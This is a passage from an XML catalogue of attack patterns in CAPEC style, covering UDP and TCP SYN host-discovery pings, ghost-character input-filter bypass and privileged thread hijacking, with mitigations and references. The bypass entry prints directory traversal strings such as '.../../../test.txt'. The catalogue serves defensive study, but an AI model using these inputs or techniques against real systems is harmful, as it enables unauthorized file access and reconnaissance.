		<Attack_Pattern ID="298" Name="UDP Ping" Pattern_Abstraction="Detailed"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker sends a UDP datagram to the remote host to determine if the
						host is alive. If a UDP datagram is sent to an open UDP port there is very
						often no response, so a typical strategy for using a UDP ping is to send the
						datagram to a random high port on the target. The goal is to solicit an ICMP
						port unreachable message from the target, indicating that the host is alive.
						UDP pings are useful because some firewalls are not configured to block UDP
						datagrams sent to strange or typically unused ' ports, like ports in the 65K
						range. Additionally, while some firewalls may filter incoming ICMP,
						weaknesses in firewall rule-sets may allow certain types of ICMP (host
						unreachable, port unreachable) which are useful for UDP ping attempts. A UDP
						Ping has the following characteristics:</Text>
					<Block Block_Nature="List">
						<Text>1. Host Discovery: Can be used to discover if a host is alive via ICMP
							Port Unreachable Messages.</Text>
						<Text>2. Effective Against: Firewalls that allow some incoming UDP which are
							not configured to block egress ICMP messages.</Text>
						<Text>3. Weak Against: Firewalls properly configured to block UDP datagrams
							that are also block egress ICMP messages.</Text>
						<Text>4. Port State: Able to determine if a port is closed via ICMP Port
							Unreachable Messages.</Text>
					</Block>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Network Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The ability to send a UDP datagram to a remote host and receive a
						response.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required>
				<Text>The ability to craft custom UDP Packets for use during network reconnaissance.
					UDP pings can be performed via the use of a port scanner or by raw socket
					manipulation using a scripting or programming language. Packet injection tools
					are also useful for this purpose. Depending upon the technique used it may also
					be necessary to sniff the network in order to see the response.</Text>
			</Resources_Required>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>292<!--Host Discovery--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure, Joel Scambray, George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pg. 47</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>J. Postel</Reference_Author>
					<Reference_Title>RFC768 - User Datagram Protocol</Reference_Title>
					<Reference_PubDate>1980</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc768.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Mark Wolfgang</Reference_Author>
					<Reference_Title>Host Discovery with Nmap</Reference_Title>
					<Reference_PubDate>2002</Reference_PubDate>
					<Reference_Link>http://nmap.org/docs/discovery.pdf</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>Nmap Network Scanning: The Official Nmap Project Guide to
						Network Discovery and Security Scanning</Reference_Title>
					<Reference_Section>Section 3.6.3 TCP UDP Ping, pg. 63</Reference_Section>
					<Reference_Edition>3rd "Zero Day" Edition, </Reference_Edition>
					<Reference_Publisher>Insecure.com LLC, ISBN:
						978-0-9799587-1-7</Reference_Publisher>
					<Reference_PubDate>2008</Reference_PubDate>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="299" Name="TCP SYN Ping" Pattern_Abstraction="Detailed"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker uses a TCP SYN packets as a means of purpose of host
						discovery. Typical RFC 793 behavior specifies that when a TCP port is open,
						a host must respond to an incoming SYN "synchronize" packet by completing
						stage two of the 'three-way handshake' by sending an SYN/ACK in response.
						When a port is closed, RFC 793 behavior is to respond with a RST "reset"
						packet. This behavior can be used to 'ping' a target to see if it is alive
						by sending a TCP SYN packet to a port and then looking for a RST or an ACK
						packet in response. Due to the different responses from open and closed
						ports, SYN packets can be used to determine the remote state of the port. A
						TCP SYN ping is also useful for discovering alive hosts protected by a
						stateful firewall. In cases where a specific firewall rule does not block
						access to a port, a SYN packet can pass through the firewall to the host and
						solicit a response from either an open or closed port. When a stateful
						firewall is present SYN pings are preferable to ACK pings, because a
						stateful firewall will typically drop all unsolicited ACK packets because
						they are not part of an existing or new connection. TCP SYN pings often fail
						when a stateless ACL or firewall is configured to blanket-filter incoming
						packets to a port. The firewall device will discard any SYN packets to a
						blocked port. An attacker will often alternate between SYN and ACK pings to
						discover if a host is alive. A TCP SYN ping has the following
						characteristics:</Text>
					<Block Block_Nature="List">
						<Text>1. Host Discovery: Can be used to discover if a host is alive via ACK
							or RST packets.</Text>
						<Text>2. Effective Against: Stateful Firewalls that allow incoming new
							connections to target ports.</Text>
						<Text>3. Weak Against: Stateless firewalls that blanket-filter incoming
							SYN</Text>
						<Text>4. Port State: Able to determine port state via SYN/ACK or RST
							response.</Text>
					</Block>
				</Summary>
			</Description>
			<Target_Attack_Surface>
				<Target_Attack_Surface_Description>
					<Targeted_OSI_Layers>
						<Targeted_OSI_Layer>Transport Layer</Targeted_OSI_Layer>
					</Targeted_OSI_Layers>
					<Target_Attack_Surface_Localities>
						<Target_Attack_Surface_Locality>Server-side</Target_Attack_Surface_Locality>
					</Target_Attack_Surface_Localities>
					<Target_Attack_Surface_Types>
						<Target_Attack_Surface_Type>Host</Target_Attack_Surface_Type>
					</Target_Attack_Surface_Types>
				</Target_Attack_Surface_Description>
			</Target_Attack_Surface>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The ability to send a TCP SYN packet to a remote target. Depending upon
						the operating system, the ability to craft SYN packets may require elevated
						privileges.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Low</Typical_Severity>
			<Resources_Required>
				<Text>The ability to craft custom TCP segments for use during network
					reconnaissance. SYN pings can be performed via the use of a port scanner or by
					raw socket manipulation using a scripting or programming language. Packet
					injection tools are also useful for this purpose. Depending upon the technique
					used it may also be necessary to sniff the network in order to see the
					response.</Text>
			</Resources_Required>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>&quot;Varies by
						context&quot;</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>292<!--Host Discovery--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Author>Stuart McClure, Joel Scambray, George Kurtz</Reference_Author>
					<Reference_Title>Hacking Exposed: Network Security Secrets &amp;
						Solutions</Reference_Title>
					<Reference_Section>Chapter 2: Scanning, pg. 48</Reference_Section>
					<Reference_Edition>6th Edition</Reference_Edition>
					<Reference_Publisher>McGraw Hill, ISBN: 978-0-07-161374-3</Reference_Publisher>
					<Reference_PubDate>2009</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Defense Advanced Research Projects Agency
						(DARPA)</Reference_Author>
					<Reference_Title>RFC793 - Transmission Control Protocol</Reference_Title>
					<Reference_PubDate>1981</Reference_PubDate>
					<Reference_Link>http://www.faqs.org/rfcs/rfc793.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>Gordon "Fyordor" Lyon</Reference_Author>
					<Reference_Title>Nmap Network Scanning: The Official Nmap Project Guide to
						Network Discovery and Security Scanning</Reference_Title>
					<Reference_Section>Section 3.6.2 TCP SYN Ping, pg. 61</Reference_Section>
					<Reference_Edition>3rd "Zero Day" Edition, </Reference_Edition>
					<Reference_Publisher>Insecure.com LLC, ISBN:
						978-0-9799587-1-7</Reference_Publisher>
					<Reference_PubDate>2008</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Author>Mark Wolfgang</Reference_Author>
					<Reference_Title>Host Discovery with Nmap</Reference_Title>
					<Reference_PubDate>2002</Reference_PubDate>
					<Reference_Link>http://nmap.org/docs/discovery.pdf</Reference_Link>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="3"
			Name="Using Leading 'Ghost' Character Sequences to Bypass Input Filters"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker intentionally introduces leading characters that enable
						getting the input past the filters. The API that is being targetted, ignores
						the leading "ghost" characters, and therefore processes the attacker's
						input. This occurs when the targetted API will accept input data in several
						syntactic forms and interpret it in the equivalent semantic way, while the
						filter does not take into account the full spectrum of the syntactic forms
						acceptable to the targetted API.</Text>
					<Text>Some APIs will strip certain leading characters from a string of
						parameters. Perhaps these characters are considered redundant, and for this
						reason they are removed. Another possibility is the parser logic at the
						beginning of analysis is specialized in some way that causes some characters
						to be removed. The attacker can specify multiple types of alternative
						encodings at the beginning of a string as a set of probes.</Text>
					<Text>One commonly used possibility involves adding ghost characters—extra
						characters that don't affect the validity of the request at the API layer.
						If the attacker has access to the API libraries being targeted, certain
						attack ideas can be tested directly in advance. Once alternative ghost
						encodings emerge through testing, the attacker can move from lab-based API
						testing to testing real-world service implementations.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Determine if the source code is available and if
												so, examine the filter logic.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>If the source code is not available, write a small
												program that loops through various possible inputs
												to given API call and tries a variety of alternate
												(but equivalent) encodings of strings with leading
												ghost characters. Knowlege of frameworks and
												libraries used and what filters they apply will help
												to make this search more structured.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Observe the effects. See if the probes are getting
												past the filters. Identify a string that is
												semantically equivalent to that which an attacker
												wants to pass to the targeted API, but syntactically
												structured in a way as to get past the input filter.
												That encoding will contain certain ghost characters
												that will help it get past the filters. These ghost
												characters will be ignored by the targeted API.
											</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="4">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Once the "winning" alternate encoding using
												(typically leading) ghost characters is identified,
												an attacker can launch the attacks against the
												targetted API (e.g. directory traversal attack,
												arbitrarary shell command execution, corruption of
												files)</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The targetted API must ignore the leading ghost characters that are used
						to get past the filters for the semantics to be the same.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Medium</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>API Abuse</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Alternate Encoding with Ghost Characters in FTP and Web Servers</Text>
						<Text>Some web and FTP servers fail to detect prohibited upward directory
							traversals if the user-supplied pathname contains extra characters such
							as an extra leading dot. For example, a program that will disallow
							access to the pathname "../test.txt" may erroneously allow access to
							that file if the pathname is specified as ".../test.txt". This attack
							succeeds because 1) the input validation logic fails to detect the
							triple-dot as a directory traversal attempt (since it isn't dot-dot), 2)
							some part of the input processing decided to strip off the "extra" dot,
							leaving the dot-dot behind.</Text>
						<Text>Using the file system API as the target, the following strings are all
							equivalent to many programs:</Text>
						<Block>
							<Code>.../../../test.txt</Code>
							<Code>............/../../test.txt</Code>
							<Code>..?/../../test.txt</Code>
							<Code>..????????/../../test.txt</Code>
							<Code>../test.txt</Code>
						</Block>
						<Text>As you can see, there are many ways to make a semantically equivalent
							request. All these strings ultimately result in a request for the file
							../test.txt.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Perform white list rather than black list input validation.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Canonicalize all data prior to validation.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Take an iterative approach to input validation (defense in depth).</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>Web Form, URL, Network Socket, File</Text>
			</Injection_Vector>
			<Payload>
				<Text>The payload is the parameter that an attacker is supplying to the targetted
					API that will allow the attacker to elevate privilege and subvert the
					authorization service.</Text>
			</Payload>
			<Activation_Zone>
				<Text>The targetted API is the activation zone. These attacks often target the file
					system or the shell to execute commands.</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>Failure in authorization service may lead to compromises in data
						confidentiality and integrity.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>173<!--Improper Handling of Alternate Encoding--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>41<!--Improper Resolution of Path Equivalence--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>172<!--Encoding Error--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>171<!--Cleansing, Canonicalization, and Comparison Errors--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>179<!--Incorrect Behavior Order: Early Validation--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>180<!--Incorrect Behavior Order: Validate Before Canonicalize--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>181<!--Incorrect Behavior Order: Validate Before Filter--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>183<!--Permissive Whitelist--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>184<!--Incomplete Blacklist--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>74<!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>697<!--Insufficient Comparison--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>707<!--Improper Enforcement of Message or Data Structure--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>267<!--Leverage Alternate Encoding--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Defense in Depth</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Reluctance to Trust</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Least Privilege</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Related_Guidelines>
				<Related_Guideline>
					<Text>Perform input validation and filtering on data in its canonical
						form.</Text>
				</Related_Guideline>
				<Related_Guideline>
					<Text>Understand the APIs to which user input will be passed and know how
						permissive they are. Perform appropriate input validation given that
						information.</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>Low</Confidentiality_Impact>
				<Integrity_Impact>Low</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Description>
						<Text>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-03-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Eugene Lebanidze</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-26</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-05</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Name, Attack
							Execution Flow and Examples</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="30" Name="Hijacking a Privileged Thread of Execution"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>Attackers can sometimes hijack a privileged thread from the underlying
						system through synchronous (calling a privileged function that returns
						incorrectly) or asynchronous (callbacks, signal handlers, and similar)
						means.</Text>
					<Text>Having done so, the Attacker may not only likely access functionality the
						system's designer didn't intend for them, but they may also go undetected or
						deny other users essential service in a catastrophic (or insidiously subtle)
						way.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Attacker determines the underlying system thread
												that is subject to user-control</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Attacker then provides input, perhaps by way of
												environment variables for the process in question,
												that affect the executing thread</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Upon successful hijacking, the attacker enjoys
												elevated privileges, and can possibly have the
												hijacked thread do his bidding</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The application in question employs a threaded model of execution with the
						threads operating at, or having the ability to switch to, a higher privilege
						level than normal users</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>In order to feasibly execute this class of attacks, the attacker must have
						the ability to hijack a privileged thread.</Text>
					<Text>This ability includes, but is not limited to, modifying environment
						variables that affect the process the thread belongs to, or providing
						malformed user-controllable input that causes the executing thread to fault
						and return to a higher privilege level or such.</Text>
					<Text>This does not preclude network-based attacks, but makes them conceptually
						more difficult to identify and execute.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Low</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Analysis</Method_of_Attack>
				<Method_of_Attack>Modification of Resources</Method_of_Attack>
				<Method_of_Attack>API Abuse</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Attacker targets an application written using Java's AWT, with the
							1.2.2 era event model. In this circumstance, any AWTEvent originating in
							the underlying OS (such as a mouse click) would return a privileged
							thread. The Attacker could choose to not return the AWT-generated thread
							upon consuming the event, but instead leveraging its privilege to
							conduct privileged operations.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>High</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Hijacking a thread involves knowledge of how processes and threads
							function on the target platform, the design of the target application as
							well as the ability to identify the primitives to be used or manipulated
							to hijack the thread.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>The attacker needs to be able to latch onto a privileged thread. No special
					hardware or software tool-based resources are required.</Text>
				<Text>The Attacker does, however, need to be able to program, compile, and link to
					the victim binaries being executed so that it will turn control of a privileged
					thread over to the Attacker's malacious code. This is the case even if the
					attacker conducts the attack remotely.</Text>
			</Resources_Required>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>The attacker may attach a debugger to the executing process and
							observe the spawning and clean up of threads, as well as the switches in
							privilege levels</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>The attacker can also observe the environment variables, if any, that
							affect executing threads and modify them in order to observe their
							effect on the execution.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Application Architects must be careful to design callback, signal, and
						similar asynchronous constructs such that they shed excess privilege prior
						to handing control to user-written (thus untrusted) code.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Application Architects must be careful to design privileged code blocks
						such that upon return (successful, failed, or unpredicted) that privilege is
						shed prior to leaving the block/scope.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>270<!--Privilege Context Switching Error--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>232<!--Exploitation of Privilege/Trust--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Relevant_Security_Requirements>
				<Relevant_Security_Requirement>
					<Text>Only those constructs within the application that cannot execute without
						elevated privileges must be granted additional privileges. Often times, the
						entire function or the entire process is granted privileges that are usually
						not necessary.</Text>
				</Relevant_Security_Requirement>
				<Relevant_Security_Requirement>
					<Text>The callee must ensure that additional privileges are shed before
						returning to the caller. This avoids pinning the responsibility on an
						inadvertant caller who may not have a clue about the innards of the
						callee.</Text>
				</Relevant_Security_Requirement>
			</Relevant_Security_Requirements>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Least Privilege</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Complete Mediation</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Related_Guidelines>
				<Related_Guideline>
					<Text>Minimize privileged code blocks</Text>
				</Related_Guideline>
				<Related_Guideline>
					<Text>Shed any privileges not required to execute at the earliest</Text>
				</Related_Guideline>
				<Related_Guideline>
					<Text>Treat the Entire Inherited Process Context as Unvalidated Input</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
